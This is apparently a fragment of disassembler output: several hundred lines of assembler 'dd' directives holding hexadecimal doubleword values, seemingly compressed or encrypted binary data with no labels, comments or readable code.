dd 0C609C800h, 0D6F7EE53h, 0F4F05706h, 0E526811h, 0E0CA4201h
dd 41E4D7ADh, 0A0B41DF1h, 0CC440216h, 1073AA77h, 4DB8CE13h
dd 4B00045Dh, 751BF65Bh, 0A7008F56h, 2014EA89h, 4C9A41F3h
dd 2422E418h, 1D4E8B0Bh, 8BE8E2D8h, 0E2EB0464h, 45E87097h
dd 49D0C007h, 3457F084h, 0AB0178A0h, 0C34EA42Fh, 18235657h
dd 5F89584Dh, 0C2075CB0h, 20E1DE27h, 0BE8FCEF8h, 1FD8992Bh
dd 1018C0E0h, 211EAAFDh, 633D334Ch, 0B5BCF7E8h, 0FB20C88h
dd 0FE87B010h, 0A5E08AEEh, 0CA67391Dh, 726F4613h, 80C83848h
dd 0C0D878D7h, 0D4F41F39h, 91575D04h, 0C4A01E36h, 8BE0B437h
dd 0D8113CCFh, 80802835h
dd 448CD396h, 41680051h, 623C946Bh, 0F04A8328h, 20CACC72h
dd 7928DB2h, 0C5AAE901h, 9D49661Eh, 6E007C72h, 84407EF7h
dd 56007CB4h, 0D3B50852h, 1DEA134Ah, 8B2B8372h, 6466D0FAh
dd 5C66BC11h, 64024322h, 7DE9F40Dh, 98104CA0h, 448C99A4h
dd 75184026h, 16A59088h, 154C21Bh, 0E0F2106Ch, 2C1420F4h
dd 0E4300789h, 115601E9h, 6AB5417Ch, 36CC3131h, 8D2600F0h
dd 0E08E7EFh, 149C9097h, 0B0A7F8BBh, 3DB9F209h, 26180834h
dd 69C9564Ch, 9338B64Bh, 8624909Ch, 0E8002670h, 7F4588FDh
dd 0CEF1921h, 5EA44DBCh, 63726F20h, 9C6039D2h, 3F0DF3F8h
dd 0B5059BDFh, 0CC187F9Fh, 0B4CFCB60h, 0A7B6A101h, 802B1EF4h
dd 0BF92D538h, 0BD75B401h, 0C43BB14Bh, 20C41475h, 941858E6h
dd 30073D22h, 7F293516h, 4E273EF0h, 40214FF7h, 0D862B7B4h
dd 2F00A7F3h, 0E956A048h, 52429E3h, 80FF8E13h, 3894DD0Eh
dd 38F88058h, 20373Bh, 17E09341h, 0AAE1A122h, 13861A00h
dd 9BAB3290h, 9A39F2EBh, 303720ACh, 64B2C224h, 10C86F44h
dd 0F22C00EEh, 48118AD8h, 8901C9C2h, 0F4BDFAADh, 0BC36EF8Ch
dd 0E4048A78h, 0A4A4D735h, 0BF690291h, 9880C456h, 4A809ACDh
dd 5D70402Bh, 0A5DD7C66h, 0A00C3F2h, 8D7BDABCh, 0B0632D38h
dd 72872CB4h, 0C2F3C524h, 1F20C884h, 5B6C88C2h, 0EF482049h
dd 32D4895h, 0E8401036h, 0FDB4356Ah, 2CF8B310h, 1000DC1Fh
dd 0B6FECA45h, 0C2141643h, 34D54Bh, 25076F64h, 0BD58B2C5h
dd 0E914B080h, 573A0CC3h, 69E15B48h, 0B63F23Fh, 0E85467C1h
dd 88C44FA0h, 32644869h, 0F8A807B1h, 6A20C2B2h, 0A094D849h
dd 6B7680h, 57BD4541h, 256198E6h, 2C8094BCh, 97171ACEh
dd 85800082h, 20566E77h, 1D0B08BBh, 6407187Eh, 0EC160048h
dd 0B80F3A9Dh, 8E00E223h, 0DEDB9C0Bh, 16F26F6h, 7F8F4E47h
dd 39CFCDBDh, 24205F48h, 388D4880h, 3080249Fh, 0F3EFE2EEh
dd 14017670h, 4D4B5B1Ch, 0D9C65CC8h, 0E21FE5B0h, 14190054h
dd 534BE6FDh, 176A5A4Eh, 7400810h, 0EF143B8Eh, 2C0F333Eh
dd 76C7D128h, 6010E957h, 8CA8CB2Bh, 0DA2EA502h, 180716AFh
dd 1170AB4Ch, 214A16Ch, 0EEB7CE50h, 30C171BEh, 406FD65Ah
dd 0DE304A15h, 0F3FB4D80h, 59B0FC85h, 6F1D4072h, 0BA016249h
dd 3875F55Ah, 9024C52Ah, 4C964164h, 3C04BA84h, 37DED832h
dd 612A3F80h, 609B008Bh, 685A1F48h, 0D80ABF10h, 0A8C2A1FFh
dd 0DEC12701h, 806C339Eh, 2BA8899Eh, 9ED56C98h, 68EF7A01h
dd 26F2C8EEh, 0BA8602Bh, 0EB883828h, 0B271F9h, 56B82E36h
dd 7C71C18Ah, 12A02F0Fh, 0E85F0AB5h, 0C8659FC4h, 92002120h
dd 8B0748A9h, 25BB6C5h, 9A18F291h, 90907385h, 118833BFh
dd 45CC04E6h, 0C0BE55BBh, 0E0CB53A4h, 0F1E12094h, 9E106C6Eh
dd 1B004228h, 2497A07Ah, 445C7Fh, 290CAE65h, 0DE791AEEh
dd 0CC265B12h, 13B9CE4h, 8A0B506Ah, 0C40D1FD9h, 3DEDE302h
dd 3842843Ch, 0F2572644h, 254B2154h, 0A0889447h, 5948885Eh
dd 8C124AEh, 26F7636Bh, 40E09C49h, 0E987A25Fh, 25691E00h
dd 7576A112h, 148300A5h, 0E87C02D4h, 320934AAh, 4C8CB131h
dd 56EE028Ch, 0B3C3FF19h, 5C155CC1h, 9E8823CCh, 65200048h
dd 32F4B0F2h, 1E0067C7h, 90C251BFh, 643B9E97h, 0C868D05Eh
dd 0F9008514h, 0BA55DAEFh, 1ED37E2Dh, 0C2FFBF52h, 488C67F1h
dd 9100A071h, 29930B2h, 103E7DBFh, 784E2F2Eh, 0C1E8C850h
dd 0B836DD25h, 0E0647938h, 8F690026h, 0E49EC299h, 0AB15E11Eh
dd 0D7A03727h, 0C481C420h, 17BC004Bh, 0DA8F31A7h, 0A53C2D1Eh
dd 338292A8h, 64489CB6h, 0CC68A625h, 4E162B44h, 6462F075h
dd 778DA9Ch, 349364E5h, 7E510058h, 32144C17h, 65C7C144h
dd 0D0CC1F81h, 0DC041EC0h, 31F5808Eh, 8202E9B0h, 5C1C743Ch
dd 0D86C0070h, 0B41F1AEDh, 0E5522EBAh, 60C82E74h, 0BDFB81D8h
dd 331D23E2h, 0AC0C014h, 0DF9A82EDh, 644A083Fh, 90275EA8h
dd 2226240h, 8AA041E6h, 886C9BD6h, 79142109h, 0E95C186Bh
dd 68A39D6Eh, 81E594A8h, 30A93E18h, 0E2072C3Eh, 0ADAB2587h
dd 0E9C2AE60h, 0C5A40EF6h, 42C08AE4h, 0DC9B69B5h, 923BE039h
dd 4472153Ah, 7A8B888h, 0DB210050h, 0C273C513h, 0BE64F576h
dd 0EC4967F9h, 0A18C5A80h, 9E3D8685h, 0C9A90FCBh, 7529A1B3h
dd 9830BE18h, 2BA28844h, 803F1C91h, 12459408h, 0A75B68h
dd 62FE5FA1h, 0CDF67418h, 10D5B44Ah, 9B8B498h, 0AA917998h
dd 5236683h, 0F9185EC0h, 5086FB05h, 0A473A839h, 2D5A8B57h
dd 0F0A02BB1h, 0B6542565h, 44197101h, 118DEF1Bh, 678EF7ECh
dd 0F11CDABEh, 0E8C40148h, 0BB50CDACh, 25227448h, 26450037h
dd 4A47B7A9h, 4D007021h, 7159756Eh, 0B7FFBF0h, 55EA6563h
dd 2A307C4Ch, 912641CBh, 0C4AE7DE6h, 0A63ED78Ch, 246611ECh
dd 48E8205Ah, 330049E8h, 0DFA678D2h, 5D745D28h, 5713E481h
dd 4C7C3253h, 2590A710h, 0D8444012h, 0C162F00h, 87EA5C07h
dd 91F101A1h, 0D681B404h, 0C9FA20C7h, 0C0E01250h, 7B5310FBh
dd 0E294B45Bh, 10D1646Bh, 5EAEF13h, 2672D4h, 142BAD74h
dd 3DB87348h, 9DD4D259h, 29DBDF4Ch, 58B55CC2h, 45E00AB0h
dd 396D0800h, 0D7430DE7h, 4B9EB081h, 2A7498BDh, 5080D09Ch
dd 0CBDA70E2h, 2CBE5F56h, 944C7A9Ch, 0BCF71FB8h, 6C0F41D6h
dd 0E216B163h, 0C2B08174h, 90447CC1h, 4EC2288h, 38C963CFh
dd 8888E862h, 6C10A5B8h, 0BF0055D0h, 0B2575A8Fh, 9409E71h
dd 1F15148Eh, 0A4009C73h, 3CF11C97h, 0F76627FDh, 0EC966C10h
dd 3B5FF612h, 0A905A705h, 761B18C0h, 0DC16099Fh, 38ECB98Fh
dd 81C09C30h, 0F155AEEh, 203DB5FDh, 83F44840h, 6E04FA74h
dd 347E677Ch, 63CB8CE8h, 40520C40h, 0C7DA2B88h, 60EB3189h
dd 952DE45Ah, 5B9F4558h, 781811h, 0A5DE8A40h, 7596581h
dd 9814FDF4h, 17D3F283h, 243B8030h, 42C4A1Ch, 0E8DCC28Fh
dd 60D3C8h, 2D06B63h, 1D416CD7h, 0FCB84025h, 1F1C9749h
dd 0C30A421Bh, 1027DCA3h, 5E6EB8h, 0E30E672Ah, 6C143A53h
dd 7AA89316h, 0C1A7700Bh, 0D0705F10h, 36B7222Dh, 34BADF10h
dd 52CEC23Ah, 763CF228h, 0DA6DC600h, 0F984B247h, 7D8C26C5h
dd 141AC040h, 0C0DFAA7Eh, 571993C7h, 1C403020h, 2ED874CCh
dd 0C7CC5B9Eh, 0C25AD107h, 57862A7h, 0B9439406h, 68255CCAh
dd 62098468h, 6DEFDC00h, 0B14C112h, 4CBC12E6h, 0AA549C08h
dd 0E3E9FE00h, 0B1C516B6h, 468F0086h, 0CEC7BEE7h, 6DEE1FBAh
dd 81DC3159h, 3B2ABC0Dh, 90D33F00h, 1B156500h, 57782DC4h
dd 1060E155h, 64963985h, 94A4F080h, 2BEED43Dh, 8F3860B9h
dd 0DCBDA745h, 1B1458C0h, 4CD23EF9h, 0FB043C34h, 0DCAD577Ch
dd 0C944DD0Ch, 8054B428h, 13D98417h, 3195A23Dh, 1510C894h
dd 0E802DCB3h, 59634331h, 9D684141h, 39A5E048h, 0E59FBB03h
dd 191880BCh, 2A10F44Dh, 5C825302h, 587B454Fh, 5894495Ch
dd 1EE49Dh, 8AFCA35Ch, 0AA04BE5Eh, 3B7EB954h, 1B8058E8h
dd 7DDAF1FEh, 85F9C93Fh, 9D11B6F5h, 0F17050C8h, 0EB68F8h
dd 34E653E4h, 0D287FCB3h, 67F800B4h, 0B99C05E5h, 9DEB7Ch
dd 0F6C32878h, 580A8F12h, 8C01AD96h, 0D9E907C0h, 0C95A139Bh
dd 0EE703268h, 111C5412h, 0C3306248h, 8C8C60F2h, 4349890h
dd 0F07D4E17h, 10908ADBh, 94423522h, 0C8B1CD85h, 4B5FC1B0h
dd 203D7C22h, 2F03D760h
dd 29B1B600h, 5BEF7F01h, 45340987h, 0F47A2BBCh, 0B8075001h
dd 26126441h, 4AFCDF4h, 0F02F555Dh, 3C20E921h, 0BB018066h
dd 5D5FF65h, 93410918h, 0A4F93D8Eh, 166EA06Fh, 0FEC391h
dd 0D9DDC91Ch, 37DB8677h, 0B84E2629h, 76CDA200h, 0F29DD4D2h
dd 0AFD525DAh, 0CFC2D030h, 442DB499h, 0C557072Ch, 882C63h
dd 0BAD00561h, 5BB03810h, 385D3E10h, 95C1804Ah, 0D787D45Eh
dd 5AF002Fh, 0C5429E66h, 7A2C7DF2h, 98133884h, 0DC234E2h
dd 78C44B6Bh, 0C5680718h, 3E3B81h, 0DDB71C12h, 43A2D3BFh
dd 2EF1539h, 0BD72EAD5h, 204675h, 10F56A50h, 0AE180EDDh
dd 4995020Bh, 9428149Fh, 7D2B8078h, 16406D44h, 83FA3CE8h
dd 0FB662907h, 8BFEDCE4h, 0F6283130h, 1144206Bh, 0AC380110h
dd 48A0C823h, 0AA47C010h, 0A0DDE9h, 0CDA6C3D7h, 18521B04h
dd 0AB3966F4h, 5890FC17h, 44F45F40h, 48BB585Ch, 0E8250D89h
dd 0FED03C0h, 0E71EF5F4h, 0C878BBA0h, 7539CF04h, 52A42452h
dd 943F2404h, 760038B7h, 7BFAAA82h, 4F52B94Bh, 0FD0C7C68h
dd 90B4D1DCh, 0F96C7358h, 0C826C997h, 0F813AA8h, 0F2202C6Bh
dd 0D5A56200h, 0CDD960DBh, 6F3A44A7h, 0A041676Eh, 26A966B4h
dd 68A11D4Dh, 4155400Ch, 2056A8C9h, 0D4B09274h, 4061C445h
dd 0E0D14C3Ch, 0D0CE8C8Bh, 743F8FE6h, 20242D55h, 6444B198h
dd 0F020C425h, 321CFC91h, 240BC835h, 59E6625Fh, 0F92E004Ch
dd 0E9C20CEEh, 0D1BB6600h, 0AEE115C8h, 2D240053h, 0EF02D2BAh
dd 4100B328h, 6BFBBDB9h, 970D6039h, 40A18491h, 0B9F31EEDh
dd 30783D5Fh, 764188E6h, 56800C00h, 684CFC86h, 1184BC14h
dd 0A534003Ch, 69F12A19h, 0AC4148BAh, 0CF21AC22h, 6B01829Ah
dd 1A2964h, 92813870h, 6DDB00ECh, 0F34B47C8h, 0F70036A4h
dd 1D0A4C5Fh, 24C208E3h, 0EB88E19h, 58CBC95Eh, 0C76D5084h
dd 0B697E3C4h, 0F66C21C5h, 1046D24h, 1B7C532Dh, 6ADDE249h
dd 1F46F8h, 0AA9376C4h, 91571882h, 128077F3h, 8C22323Ah
dd 61E10E0h, 0B440B896h, 20B2A61h, 0A66C54D9h, 0EAC094CEh
dd 2D4F1BB9h, 38803425h, 0F335EB7h, 9141E7E9h, 1208900h
dd 0F905D378h, 1B1765FBh, 0C26E0A6h, 3048606Ch, 89008216h
dd 8B6699DDh, 2EB2606h, 42927323h, 0FD60CA12h, 0D52EB508h
dd 64EB808Fh, 644F00DCh, 4661898Dh, 971EB37Eh, 0CEC2F76Dh
dd 6EC0F51Eh, 0D0A622C4h, 57C8079Dh, 0CFC41019h, 7BB12265h
dd 32C6C113h, 402E04C9h, 0DC403D3Ch, 0F102C10Dh, 0BD7EE1C8h
dd 27B45042h, 10449BC5h, 0A63D8C28h, 83EDFE00h, 709ECA4Ch
dd 106C0076h, 0BEE23A52h, 0A24D3E31h, 0BC0B834Ch, 5C982275h
dd 0E82AB825h, 0AFAC04h, 6C6F6BEh, 4C632504h, 0EA7AF7ECh
dd 0F94BA406h, 91E81158h, 0E2126714h, 0CA408E89h, 513F39D5h
dd 0A9A68074h, 0E4FD9EB1h, 0BCB09746h, 44843B66h, 23EA6EC9h
dd 0FAB9613h, 70B8E064h, 0BA87FA80h, 620094B7h, 0C17440D7h
dd 2FD313E6h, 0A06164B8h, 485209BBh, 988C24ECh, 57257418h
dd 43B4C44Eh, 80492142h, 0D13558D5h, 3850BECDh, 808B697Ch
dd 2B2A7Eh, 687B835Bh, 480C423Ah, 4C728F00h, 0BDDB57CFh
dd 305B48A0h, 6E6B26CFh, 94970C64h, 49290140h, 97E71C55h
dd 0D3C83911h, 308024A2h, 57C5C0F3h, 0D7F01013h, 1C00C485h
dd 0E972372Ch, 3B5E161Fh, 0D248B1F7h, 44A190D8h, 4CBC1535h
dd 755087h, 8EF22AA7h, 0DF2E1B01h, 1E251707h, 0B4ED2C71h
dd 0C082387Dh, 9424E3E9h, 4E802CA8h, 8F5EB26Dh, 41385A00h
dd 236710F3h, 0BD680387h, 0AAFA6FBCh, 0F11A66F0h, 0C774144Ch
dd 7E50A5A2h, 0FCCDBA49h, 39070055h, 1EACEB63h, 98020540h
dd 4E6FF096h, 5EDC993Ch, 73388515h, 0CCBC4C38h, 91885FA8h
dd 76FF00B8h, 0B6D109ABh, 0E32C71CCh, 0C1E2B8F7h, 17D846D5h
dd 2024F014h, 0D91BF428h, 0C709CA98h, 5A3EBD16h, 93C89914h
dd 0F3047256h, 10F1C08Bh, 21B22480h, 821071h, 0F08F56EFh
dd 3BC35C8Eh, 7603B402h, 0D6882DB7h, 0EF81627Ch, 36925CDCh
dd 8C7884E3h, 630014A6h, 5206E52Eh, 81BFB764h, 4D44603Bh
dd 23CDB5Dh, 6BA96D62h, 5CDC6449h, 0DC83D4AFh, 75E0646Eh
dd 0D17EBB2h, 0B4A69077h, 1C968007h, 92B630B8h, 0E644DCC2h
dd 72C12E1Fh, 3A11B8h, 0A8F4AEE9h, 1756A465h, 72E03076h
dd 9E20C9F8h, 264831ECh, 0C40C5674h, 2A0A85Fh, 0CEC2CCE6h
dd 4400F882h, 7BE3C1EFh, 0C9C82427h, 0BC098C30h, 87002B4Ch
dd 61A0D2E2h, 0A3B463h, 0A4F08249h, 8E5414A0h, 0C014425Ch
dd 67EDC2F1h, 0F82A5CD0h, 1C5A5F80h, 29001BCCh, 582E8C83h
dd 0FA32BD97h, 1010BF0Fh, 5A05B5C4h, 0F051A241h, 0C07834DDh
dd 23AF4880h, 3A090BBFh, 0B92045ADh, 8111438Ch, 409A20BEh
dd 2F40EF49h, 3149464h, 2F0B533Ch, 48B0C4E9h, 201F7D0h
dd 8C4CF16Dh, 0F4301A75h, 0A0EB52B1h, 2EE3C011h, 4CE4F494h
dd 0FEF040ACh, 3602A559h, 0C23C2989h, 681255B4h, 0C344B46Eh
dd 4A38006Dh, 2948637Dh, 3A07731Dh, 5A0295DFh, 24E38550h
dd 620D5FC0h, 0EE20314Ch, 13611B8Ch, 0D321F7A6h, 2BD0BE34h
dd 0E63DE95Eh, 0A0779C9Bh, 26F6AD40h, 3BB222B3h, 405F88B5h
dd 21B76808h, 0D902C56Ch, 0F20FB3Ah, 4CB4F0D5h, 15053BF7h
dd 22496FF1h, 70E6B97Ch, 87FE401Eh, 0D9CEFDC0h, 0E8E098A0h
dd 7F8F3C89h, 8AE7AC50h, 3C002066h, 0FA77D38Ch, 8D331Ah
dd 0F558BCDFh, 0F4DDA2Fh, 869E3C12h, 162560E6h, 9165B490h
dd 0C63E5AE0h, 0A40D171Eh, 0E207D202h, 0EDCDA2Bh, 73E9A9D2h
dd 65964F00h, 0CE00461Ch, 0EAB976C2h, 250149Ah, 3DC7982Eh
dd 0CCF39468h, 0CD80B580h, 27B17702h, 403190FAh, 26A4611Fh
dd 4C4B78BCh, 0F7F0648Dh, 3065296Fh, 37E6049Ch, 34548040h
dd 0D128BB43h, 0E34490B4h, 508E13F6h, 2E6C979Dh, 0F54B6500h
dd 3500F730h, 0FE9B78C8h, 254CB324h, 0C0B0F8DDh, 61286B01h
dd 5C3A383Dh, 0F08CCB6Ch, 88B9009Fh, 2352BD8Ah, 0FF126D91h
dd 0C4705165h, 534034F6h, 0B5037881h, 0E97F8467h, 2B606BA9h
dd 0FA85D422h, 746C4450h, 80264A3Ch, 6F233EE3h, 448AD92h
dd 0F21EB266h, 4CD8E46Eh, 7651B300h, 6AAE3464h, 45711775h
dd 0D460046Dh, 0A4070A5Eh, 548BC835h, 7263A300h, 0EEB19756h
dd 0F558B8B7h, 26D8098Bh, 2CF94340h, 5F808821h, 16060EA5h
dd 0C5449C36h, 8BBCB42Ah, 0E5C66902h, 0CE70FCC5h, 2EBCBA30h
dd 7DF82Eh, 72DEBADh, 4D001BEAh, 0C68A69B8h, 4AD1F0F5h
dd 0C054E2B0h, 0E1A9B45h, 9D2D25DCh, 5ED07CE0h, 2546FA8Bh
dd 0E4C4C5A2h, 0AF587C84h, 0F43AA240h, 3FD6490Ch, 53F78203h
dd 0E218800Fh, 5ED5001Fh, 841C8914h, 722DE179h, 827C6C5Fh
dd 401879F6h, 4716A909h, 959D0202h, 6C4B17B0h, 0BA3C4448h
dd 0C92A3703h, 0C6334CE4h, 0C022F2F1h, 0F72E5E21h, 150028BEh
dd 442C45BBh, 250ED65h, 6056103Ch, 0BC546FD8h, 2055EA40h
dd 20029F0Eh, 0B52583EBh, 518008E2h, 10D4EDA0h, 0DDB92102h
dd 311D38F9h, 9C202F12h, 45B39Fh, 0AB4BDD5Bh, 0F6F3F778h
dd 0C54F5727h, 522662B0h, 1542CC98h, 0E2E8C217h, 86279CB2h
dd 62C0BC98h, 9BFCBF19h, 0B814BBC8h, 0A019220h, 88697A18h
dd 0CBC4D3E1h, 0F0EF5627h, 0E2CDB817h, 45E3E10h, 0FB6EE00Ch
dd 74C80C84h, 0BD8E2F6h, 0C77E4C41h, 0C0541411h, 0D5274FDFh
dd 644C4216h, 0AAF60F40h
dd 2A2BE7FBh, 0E8F578E9h, 0D4045C08h, 4A0582C1h, 637E8CDDh
dd 0F8B46870h, 0F6F78080h, 242D9EF2h, 40784067h, 2CDE55CEh
dd 0D1D1E7FFh, 0BF844214h, 24E4FB29h, 2D0EAF8h, 123D5C0Ah
dd 0E040147Eh, 0F0FF7034h, 7407D09h, 0D5C08F0Ah, 0A94A34F7h
dd 0B0C2177Ch, 70987C64h, 22E8AE63h, 2FF15945h, 63AAB401h
dd 0D1F6B57Fh, 0C7660094h, 95843473h, 4F1FE703h, 0D00C35D9h
dd 12873D6Bh, 845122Bh, 7E93D750h, 205770E0h, 6F29E0CBh
dd 0DF03CC5Ah, 0B02028BBh, 94E6A6F7h, 0C5C598h, 0CA217178h
dd 5A009FFDh, 0AAD1887h, 18B9D714h, 0B9CF5CEFh, 52F41C94h
dd 3B01F1D2h, 0C25CE515h, 0AAB07068h, 13FE7103h, 4BA3BE00h
dd 0B379E1B5h, 6FF80052h, 27E89D32h, 42974A43h, 0F4C640h
dd 0E62E20BAh, 7B301901h, 408EB101h, 2D3E5C35h, 3AE4DC31h
dd 9FDA12CFh, 0A9942368h, 606F1990h, 57070D00h, 0FCB14FF6h
dd 0F3E34AA2h, 377900ACh, 86C95865h, 7428E9CDh, 43EC1A0Eh
dd 6669D362h, 48103059h, 34AB3B81h, 9F1894C6h, 2FDF208Ch
dd 106A6569h, 0EC60CCF6h, 4C94A4Fh, 99AD4E17h, 0C167C148h
dd 8E423C2h, 402BD71Ah, 8ADD24C0h, 0D1444502h, 483B67D0h
dd 254CBD88h, 3473DA21h, 0CD267C00h, 7A74B5AAh, 25E5E8A4h
dd 84C821D8h, 500BDECh, 0AB6A6899h, 1F91BCAh, 0D7B1F11h
dd 889314D6h, 13DD5958h, 846C8031h, 1F004432h, 944A70DCh
dd 52F4A8BDh, 0F300B46Eh, 0ADE1DF60h, 1814F2E8h, 828CAA8Bh
dd 576F4426h, 0E8D144B9h, 38392ABFh, 51AB0591h, 0B084EE29h
dd 20AAC484h, 53F84638h, 8CA0D879h, 255EBF69h, 8A434CC8h
dd 0D4679819h, 0F3109B66h, 20D7D2ADh, 0A1FEE160h, 866C626h
dd 2129DC0Ch, 9606884Fh, 69515C00h, 0C149A6F5h, 546A59A4h
dd 2FE04B11h, 4AD6D838h, 0BAA4A467h, 0C65E0484h, 95AE8D57h
dd 83B8ADF4h, 11CAA8A9h, 51DBC351h, 0EF8180C9h, 18D81715h
dd 0C5310065h, 90B41C1h, 72ECAFCAh, 9FFC0E00h, 4AB4BB9Bh
dd 73D4A835h, 10099CCh, 0A702C8D3h, 59F22038h, 0BDAC6000h
dd 77C4452Dh, 54402557h, 0E5801C5Bh, 0D1BE931Ch, 1971AFh
dd 0CB73B897h, 36812CB1h, 5A52AA00h, 0C1343BD8h, 4D9827DEh
dd 0F840D02Eh, 18CD5BC6h, 7AA03500h, 75CA43DBh, 230C00B8h
dd 9E4B9AF7h, 509C8A50h, 0D3866086h, 84903B1h, 584EEB03h
dd 450780A0h, 0D231C319h, 1F3AB21h, 53E6C1B1h, 0D2CF457Ah
dd 84F26C60h, 5440F4BEh, 7EDA7B70h, 40B20011h, 82EA6D21h
dd 14168965h, 18A0BFF0h, 0D9E545C1h, 82982CB1h, 408DFF0Eh
dd 80210C0Ch, 32E7BCC2h, 0C52164h, 46B77815h, 3B00BEC9h
dd 4F302ED4h, 2F0360h, 3D41B8B5h, 938FDD7Bh, 7BF5043Ch
dd 0AC1C6405h, 0A83868Bh, 616FD9E9h, 0A0B38468h, 21F072B0h
dd 0DB8014BCh, 0E398C48Fh, 6E4500B6h, 0A8D524CCh, 7D283455h
dd 90E6A806h, 0CE148C00h, 7947074Eh, 0EB2E011Bh, 89E3BD63h
dd 357091F2h, 8DE99F0Eh, 8B4B57A4h, 20779D0h, 88840769h
dd 407CCAE2h, 794F158h, 32F4CC15h, 0CE59F0E5h, 0B600D503h
dd 7CB1F3E1h, 0F0E23A6Ch, 712CFCB8h, 6EE6296Dh, 814700D0h
dd 0A69543A9h, 178D4Ch, 7182EC15h, 0E627B1h, 0B24049B4h
dd 5A30A6D7h, 0CFFD9416h, 5D437000h, 0E1A2D0h, 607CB303h
dd 4B9F4A7Eh, 20144Bh, 0AB489Ah, 1E352C73h, 8C8A2297h
dd 2003E76h, 0DAB1D2C3h, 24789BBAh, 40407060h, 0E091D9F6h
dd 501F904h, 0B0B34D26h, 1D481502h, 14625BD8h, 9B0050E4h
dd 0C8958E2Eh, 961BF86h, 67B9F71Dh, 694B9458h, 820078B7h
dd 0E943C324h, 180016BAh, 68B5A13h, 0B0BD7CAFh, 26631200h
dd 0BADCC4D4h, 6C5F3831h, 818471E6h, 50914B95h, 2A82285h
dd 0C1D39966h, 0B090466Eh, 2C204D64h, 0B2894838h, 18CC1E96h
dd 0F08A4A0Eh, 44304BA3h, 241A1E90h, 0DC86C0C0h, 593C4163h
dd 0C456E807h, 7D50A0C9h, 0FEC0FDFBh, 0A57CB9CEh, 223E88D9h
dd 0A14809E2h, 78926670h, 8B5BC99h, 0E6BF255Eh, 57A144C0h
dd 40131917h, 0C7C12C31h, 1F00B072h, 0AA17508Dh, 4E25EDB2h
dd 13C4C440h, 0EFF6E126h, 384BA707h, 2F7824E0h, 20616035h
dd 703684Fh, 4401A2E0h, 43D0FFCCh, 50224D57h, 44A02B25h
dd 14D16ACFh, 8126A100h, 6720D06Ch, 0E9B6050Fh, 0D8385CEBh
dd 5D5E6854h, 7D2C28h, 580C9DB0h, 4CBC04C7h, 30378D20h
dd 4969C92Ah, 1287BE6h, 0F413C7B6h, 94AC0310h, 144EE400h
dd 0AF7F7248h, 0A0A7CD2Dh, 43BCF60Ch, 0F5700FCCh, 5F01E6C9h
dd 227F53D4h, 6E250E9Ch, 34B4F607h, 8447003Eh, 0A1F4DCF7h
dd 403829E6h, 0C0450515h, 508890B5h, 442B4FC3h, 0C0CBBE1Ch
dd 78A3BD21h, 0C0E51F0Ah, 7743ECC3h, 154D90B5h, 0B9E7002Bh
dd 60CC8DEFh, 7D0F4931h, 24EBC559h, 0CC0E670h, 39D6C78h
dd 58798416h, 0E2A05AA8h, 31885F6Eh, 7B963F93h, 57E05387h
dd 5E4430FAh, 45749A0Eh, 145A6C2Fh, 0CB3B2EC4h, 0A4E3044h
dd 0C19D7A1Ch, 0C3E47BBCh, 0A9160302h, 170FB5FFh, 118C43B7h
dd 0C8D15491h, 90B5E92Eh, 0C035DF50h, 2FFC1984h, 7E00C960h
dd 2D7BE4B4h, 1445783Bh, 9489B5C5h, 90682CC8h, 2C909420h
dd 268024B1h, 3603EBF0h, 0C2680915h, 745CB2B4h, 0FC2CD596h
dd 0F5E200ABh, 0C9A8330Fh, 0B9001FD5h, 0C42D0495h, 1A0FD6Dh
dd 4422E65Ah, 73646C96h, 67522184h, 0AAE31034h, 210991ECh
dd 549D3FBAh, 0BEA02Ch, 853587E0h, 603EA569h, 91571F02h
dd 7ECECD84h, 9C424FCh, 949863A2h, 4595E9C1h, 6B940368h
dd 80C4CBFBh, 60A0B3D3h, 362DDE00h, 5D0F69ECh, 0FF9A2871h
dd 0A2C7A008h, 95B45FCDh, 0C0A2FCh, 64C35950h, 1B8CA3Bh
dd 0BD74B3BCh, 48A4DE69h, 6152B4B8h, 4DC13DC4h, 5F373A78h
dd 14301C65h, 5E194h, 65AEDBBFh, 61BD7F64h, 4BD3981Dh
dd 0BC745383h, 0AF95F0F9h, 912600D9h, 14BB40C8h, 0F0922A4Ah
dd 0CCCA4B4Fh, 0B180123Ch, 0F1AF6BC9h, 0C0178521h, 5C22CD0Ah
dd 42D8FEC1h, 78B8B9C2h, 0D9EC2B84h, 53C09E00h, 67D3E69Bh
dd 0FBAE1158h, 0DFF27434h, 0C8BAE324h, 39C86614h, 988F253Bh
dd 1ED9F2Ch, 371907A0h, 60904662h, 240B3290h, 80A202EEh
dd 0C230F7D4h, 0BE591676h, 0E204C544h, 34160010h, 0B90B29D7h
dd 748F00C6h, 0BED45C8Eh, 5D050279h, 0E3C20431h, 1958C080h
dd 0E2AA04ECh, 0AA57FDE7h, 77FFDC20h, 0C8F805F0h, 0C3F9538Dh
dd 55F87FD2h, 4A4AC2D3h, 7594A041h, 277EC568h, 0A5A9B05Ch
dd 0DB74B50Ah, 0EF3AFF7Bh, 361300E4h, 4514A00Eh, 15382634h
dd 518E0264h, 307DDEC1h, 2CCD86A0h, 8B7075B0h, 287A21F6h
dd 69AF141Fh, 0A2ED7A00h, 1FF14DB4h, 49A35806h, 6C90DEC2h
dd 0F0057365h, 7F7DAAB9h, 0BCBCF40Ah, 44C87717h, 0DA130708h
dd 0C0E97FE4h, 1C7EC39Fh, 1421A15Eh, 18D8E351h, 32213C8h
dd 74D044DAh, 58E216DDh, 0A2005822h, 97F08D49h, 39488F4Bh
dd 84DC4E76h, 14E5E899h, 5FC27CACh, 288746AEh, 181C42ECh
dd 4D407C7Ch, 1EDA9065h, 0FAF2D79Fh, 3D8DDD80h, 762FE884h
dd 0DCA4EF19h, 0A0214B58h, 4466B420h, 485A2638h, 84612CC8h
dd 0AD533616h, 4C006424h, 1EA2957Bh, 0E660057Fh, 0DD210FD5h
dd 5A8B6098h, 0CCD3E500h, 9F4BB7F2h, 0ACDB5DE9h, 0D7B3C21Eh
dd 2C5CD45Ch, 9AE20798h, 68161B16h, 0F809E4D3h, 0A378D0h
dd 0DF73476Fh, 0BE75F342h
dd 2D2470E9h, 40E49Dh, 0C08EE2D2h, 44EEDCA1h, 646FB505h
dd 0A088ECAFh, 60DB41F0h, 3889E338h, 383214D5h, 0BB994302h
dd 2051793Bh, 75265F81h, 3092D288h, 0DC081FBBh, 0A3DE89BDh
dd 0C905C99h, 35D82CEh, 0A0BD7250h, 747BBACDh, 6FE12C41h
dd 0BC642DD0h, 7255F000h, 71EDC763h, 5E1A037Ch, 50B0DF98h
dd 2C596EE8h, 78A22703h, 0C193B319h, 36102428h, 0B600BBD3h
